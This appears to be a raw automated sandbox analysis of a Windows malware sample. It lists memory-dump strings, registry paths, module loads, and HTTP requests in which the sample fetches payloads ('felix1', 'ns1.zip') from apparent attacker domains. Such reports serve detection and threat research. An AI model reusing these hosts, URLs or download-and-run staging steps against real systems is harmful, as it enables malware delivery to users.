00000000-00003640.00000000.111316.31C90000.00000004.mdmp, "usC:\ProgramData\NexusSoftware\felix1\" in Source: 00000000-00003640.00000000.111316.31C90000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\" in Source: 00000000-00003640.00000001.113238.31C90000.00000004.mdmp, "usC:\ProgramData\NexusSoftware\felix1\" in Source: 00000000-00003640.00000001.113238.31C90000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003640.00000001.113238.4C010000.00000004.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003640.00000001.113238.4C073000.00000004.mdmp, "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003640.00000001.113238.4C280000.00000004.mdmp, "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003640.00000001.113238.4C280000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003640.00000001.113238.4C280000.00000004.mdmp, "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00003640.00000001.113238.4C280000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00003640.00000001.113238.4C280000.00000004.mdmp, "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003640.00000001.113238.4C280000.00000004.mdmp, "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003640.00000001.113238.4C280000.00000004.mdmp, "\Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003640.00000001.113238.4C280000.00000004.mdmp, "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003640.00000001.113238.4C280000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1" in Source: 00000000-00003640.00000001.113238.4C7E0000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003640.00000001.113238.4D100000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00003640.00000001.113238.4D100000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00003640.00000001.113238.4D100000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003640.00000001.113238.4D100000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00003640.00000001.113238.4D100000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1" in Source: 00000000-00003640.00000001.113238.4D100000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\" in Source: 00000000-00003640.00000002.114366.31C90000.00000004.mdmp, "usC:\ProgramData\NexusSoftware\felix1\" in Source: 00000000-00003640.00000002.114366.31C90000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003640.00000002.114366.4C010000.00000004.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003640.00000002.114366.4C073000.00000004.mdmp, "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003640.00000002.114366.4C34F000.00000004.mdmp, "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003640.00000002.114366.4C41C000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003640.00000002.114366.4C41C000.00000004.mdmp, "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003640.00000002.114366.4C41C000.00000004.mdmp, "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003640.00000002.114366.4C41C000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003640.00000002.114366.4C7E0000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00003640.00000002.114366.4D120000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00003640.00000002.114366.4D120000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00003640.00000002.114366.4D120000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003640.00000002.114366.4D120000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00003640.00000002.114366.64EBB000.00000002.mdmp, "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00003640.00000002.114366.64EBB000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00003640.00000002.114366.64EBB000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00003640.00000002.114366.64EBB000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00003640.00000002.114366.64EBB000.00000002.mdmp, "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00003640.00000002.114366.64EBB000.00000002.mdmp54:T13d2,"GET /31aa8434-bc4d-511f-910d-adbab2766b4f/22d0642c-c560-5532-a5ee-70fb76dc49ef HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: uJ7gFEPqcKUGx6qlbf3dPJaT Host: twitmerklend.com" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri 30 Oct 2026 14:54:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 6560 Connection: keep-alive Access-Control-Allow-Origin: * ETag: W/"19a0-ZyedvekYu/5uws8nHDtDsV/ViMg" with response body ==>58374C704D786A453138304150674C6D686F3065734D4A4E33726E4779553372763059684E53624F352B614C633247574C2F4F53757A4B74455957646D5A7666....... "GET /fkdr2342fsf/felix1 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Host: viigmeeftsgs.com" Response ==> HTTP/1.1 200 OK date: Fri 30 Oct 2026 14:54:24 GMT server: uvicorn content-type: application/octet-stream accept-ranges: bytes content-disposition: attachment; filename="felix1" content-length: 11662748 last-modified: Fri 30 Oct 2026 14:54:30 GMT etag: "db178470bd742775045bd0e4779027c0" with response body ==>08C28A2CC3ADC291C3BFC285C29A1C24C3B2C385C2AA23C39EC2816EC387C3B5C3B7567FC399C2BF15C3BA293549C3B50FC3BC17111AC2A40CC2A6C29D59C396....... "GET /39a3118a-b37f-57e0-9746-abd7aa3cbf0d/ns1.zip HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Host: thelkfklef.com" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri 30 Oct 2026 14:54:44 GMT Content-Type: application/octet-stream Content-Length: 2230986 Connection: keep-alive Access-Control-Allow-Origin: * ETag: W/"220aca-5L3mhKW5jo6QNFzFN90PKip8GeQ" with response body ==>C281C38D67C2AE3015C38DC3B811C287C39B7FC3B9C293C2A9C2A14002C3BDC3B64878C3B7C2BCC393C38353C28B6EC288C28CC2AAC399C3BB3A68C3A9C3AAC3....... "GET /async/folae?async=_fmt:pb HTTP/2 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Accept-Language: en-US,en;q=0.9 Priority: u=4, i Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: empty" Response ==> HTTP/2 200 OK Content-Type: application/x-protobuffer Date: Fri 30 Oct 2026 14:56:12 GMT Server: gws Content-Encoding: br X-Frame-Options: SAMEORIGIN Permissions-Policy: unload=() Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Version: 1008687432 Strict-Transport-Security: max-age=31536000 Accept-Ch: Sec-CH-UA-WoW64 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" X-Xss-Protection: 0 Report-To: {"group":"gws" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Alt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000 with response body ==>BINARY_CONTENT....... "GET /async/folae?async=_fmt:pb HTTP/2 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Accept-Language: en-US,en;q=0.9 Priority: u=4, i Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: empty" Response ==> HTTP/2 200 OK Content-Type: application/x-protobuffer Date: Fri 30 Oct 2026 14:56:23 GMT Server: gws Content-Encoding: br X-Frame-Options: SAMEORIGIN Permissions-Policy: unload=() Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Version: 1008687432 Strict-Transport-Security: max-age=31536000 Accept-Ch: Sec-CH-UA-WoW64 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" X-Xss-Protection: 0 Report-To: {"group":"gws" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Alt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000 with response body ==>BINARY_CONTENT....... "GET /async/folae?async=_fmt:pb HTTP/2 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Accept-Language: en-US,en;q=0.9 Priority: u=4, i Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: empty" Response ==> HTTP/2 200 OK Content-Type: application/x-protobuffer Date: Fri 30 Oct 2026 14:56:32 GMT Server: gws Content-Encoding: br X-Frame-Options: SAMEORIGIN Permissions-Policy: unload=() Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Version: 1008687432 Strict-Transport-Security: max-age=31536000 Accept-Ch: Sec-CH-UA-WoW64 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" X-Xss-Protection: 0 Report-To: {"group":"gws" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Alt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000 with response body ==>BINARY_CONTENT.......55:T576,Launches browser "chrome.exe" (UID: 00000000-00006764) Launches browser "chrome.exe" (UID: 00000000-00006936) Launches browser "chrome.exe" (UID: 00000000-00000440) Launches browser "chrome.exe" (UID: 00000000-00002012) Launches browser "chrome.exe" (UID: 00000000-00007976) Launches browser "chrome.exe" (UID: 00000000-00005576) Launches browser "chrome.exe" (UID: 00000000-00001812) Launches browser "chrome.exe" (UID: 00000000-00008072) Launches browser "chrome.exe" (UID: 00000000-00003352) Launches browser "chrome.exe" (UID: 00000000-00005176) Launches browser "chrome.exe" (UID: 00000000-00006676) Launches browser "chrome.exe" (UID: 00000000-00005020) Launches browser "chrome.exe" (UID: 00000000-00005016) Launches browser "chrome.exe" (UID: 00000000-00005196) Launches browser "chrome.exe" (UID: 00000000-00004052) Launches browser "chrome.exe" (UID: 00000000-00002008) Launches browser "chrome.exe" (UID: 00000000-00007092) Launches browser "chrome.exe" (UID: 00000000-00005860) Launches browser "chrome.exe" (UID: 00000000-00000576) Launches browser "chrome.exe" (UID: 00000000-00007400) Launches browser "chrome.exe" (UID: 00000000-00001144) Launches browser "chrome.exe" (UID: 00000000-00004708) Launches browser "chrome.exe" (UID: 00000000-00008004) Launches browser "chrome.exe" (UID: 00000000-00002604) Launches browser "chrome.exe" (UID: 00000000-00001800)56:T37b1,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 752e0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-2" at base 756e0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 756e0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "RPCRT4.DLL" at base 75ac0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "WINHTTP.DLL" at base 751e0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 751c0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 75180000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "KERNEL32.DLL" at base 76c40000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "SSPICLI.DLL" at base 75040000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 74fa0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 74f40000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 74ec0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "MSKEYPROTECT.DLL" at base 74eb0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 74e30000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 75fc0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74de0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 74d80000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74d20000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "SHELL32.DLL" at base 76040000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWS.STORAGE.DLL" at base 74700000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74610000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "CSCAPI.DLL" at base 74550000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "USER32.DLL" at base 75920000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 74090000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 74380000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 756e0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "VIRTDISK.DLL" at base 74080000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 74700000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSWOW64\WINTYPES.DLL" at base 73fa0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 73fa0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSWOW64\APPRESOLVER.DLL" at base 73f20000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSWOW64\ONECORECOMMONPROXYSTUB.DLL" at base 73e20000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 73a60000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "NTDLL.DLL" at base 775f0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 739b0000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSTEM32\SFC_OS.DLL" at base 73960000 "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 738e0000 "pythonw.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffa168d0000 "pythonw.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 226049a0000 "pythonw.exe" loaded module "API-MS-WIN-CORE-FILE-L2-1-4" at base 7ffa21830000 "pythonw.exe" loaded module "%ALLUSERSPROFILE%\NEXUSSOFTWARE\FELIX1\PYTHON3" at base 22604850000 "pythonw.exe" loaded module "%ALLUSERSPROFILE%\NEXUSSOFTWARE\FELIX1\PYARMOR_RUNTIME_000000\PYARMOR_RUNTIME.PYD" at base 70180000 "pythonw.exe" loaded module "%ALLUSERSPROFILE%\NEXUSSOFTWARE\FELIX1\_CTYPES.PYD" at base 7ffa168a0000 "pythonw.exe" loaded module "KERNEL32" at base 7ffa22860000 "pythonw.exe" loaded module "NTDLL.DLL" at base 7ffa23dd0000 "pythonw.exe" loaded module "AMSI.DLL" at base 7ffa124d0000 "pythonw.exe" loaded module "MSCOREE.DLL" at base 7ffa04e60000 "pythonw.exe" loaded module "ADVAPI32.DLL" at base 7ffa227a0000 "pythonw.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffa21830000 "pythonw.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffa21830000 "pythonw.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffa21830000 "pythonw.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffa044d0000 "pythonw.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffa1f2f0000 "pythonw.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff9f7630000 "pythonw.exe" loaded module "USER32.DLL" at base 7ffa22e70000 "pythonw.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffa21830000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffa168d0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffa227a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffa21830000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffa21830000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffa21830000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff9f6be0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffa22150000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffa1f2f0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffa18100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff9f7630000 "powershell.exe" loaded module "USER32.DLL" at base 7ffa22e70000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffa21830000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffa03cc0000 "powershell.exe" loaded module "NTDLL" at base 7ffa23dd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffa21df0000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffa23d80000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffa23b40000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffa22860000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\6078762B90671C2FF9BA39318E2176D8\MSCORLIB.NI.DLL" at base 7ff9eb3f0000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffa23a10000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffa21df0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffa22690000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffa20430000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 2114bf80000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffa21830000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffa04430000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\FE3C9CF707273488C6C658D52D624640\SYSTEM.NI.DLL" at base 7ff9ea770000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\21FF4BA4607B18A9B179AB90FD3B0BC1\SYSTEM.CORE.NI.DLL" at base 7ff9e9cf0000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffa21df0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffa21df0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffa23dd0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffa230f0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffa21be0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\76FF225C5A523F0BE2364B0FC02BF7F9\SYSTEM.XML.NI.DLL" at base 7ff9f6d80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffa21460000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffa124d0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffa21460000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffa20db0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffa09ee0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffa09080000 "powershell.exe" loaded module "KERNEL32" at base 7ffa22860000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\V5VYDTW1.DLL" at base 7ffa1e970000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ffa04e70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 7ffa0b5c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\AFD58C711DB7CAC7F0D5CAF525CE8D6C\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff9f6240000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\8ECDA6B0FFA321000FAFFBDCDB86175B\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff9f5c90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\8990B2F5A93202518A0040E15B565F36\SYSTEM.DATA.NI.DLL" at base 7ff9e9370000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff9e9000000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffa1ee00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\24206316825BB75EBFBDD31895DF2F1F\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff9f5b50000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffa21640000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffa21df0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\BEABD14F0AB9A67D348911645772E933\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff9f6ca0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffa043e0000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffa15580000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffa212f0000 "powershell.exe" loaded module "URLMON.DLL" at base 7ffa14c60000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffa21830000 "powershell.exe" loaded module "VIRTDISK.DLL" at base 7ffa0cce0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.CSHARP\1E10FD474EC14F28C0078EC745FFF46F\MICROSOFT.CSHARP.NI.DLL" at base 7ff9f3d90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\9594C82AF7B396B5EE8B0EF1D461CEA2\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffa08ba0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ff9f59d0000 "powershell.exe" loaded module 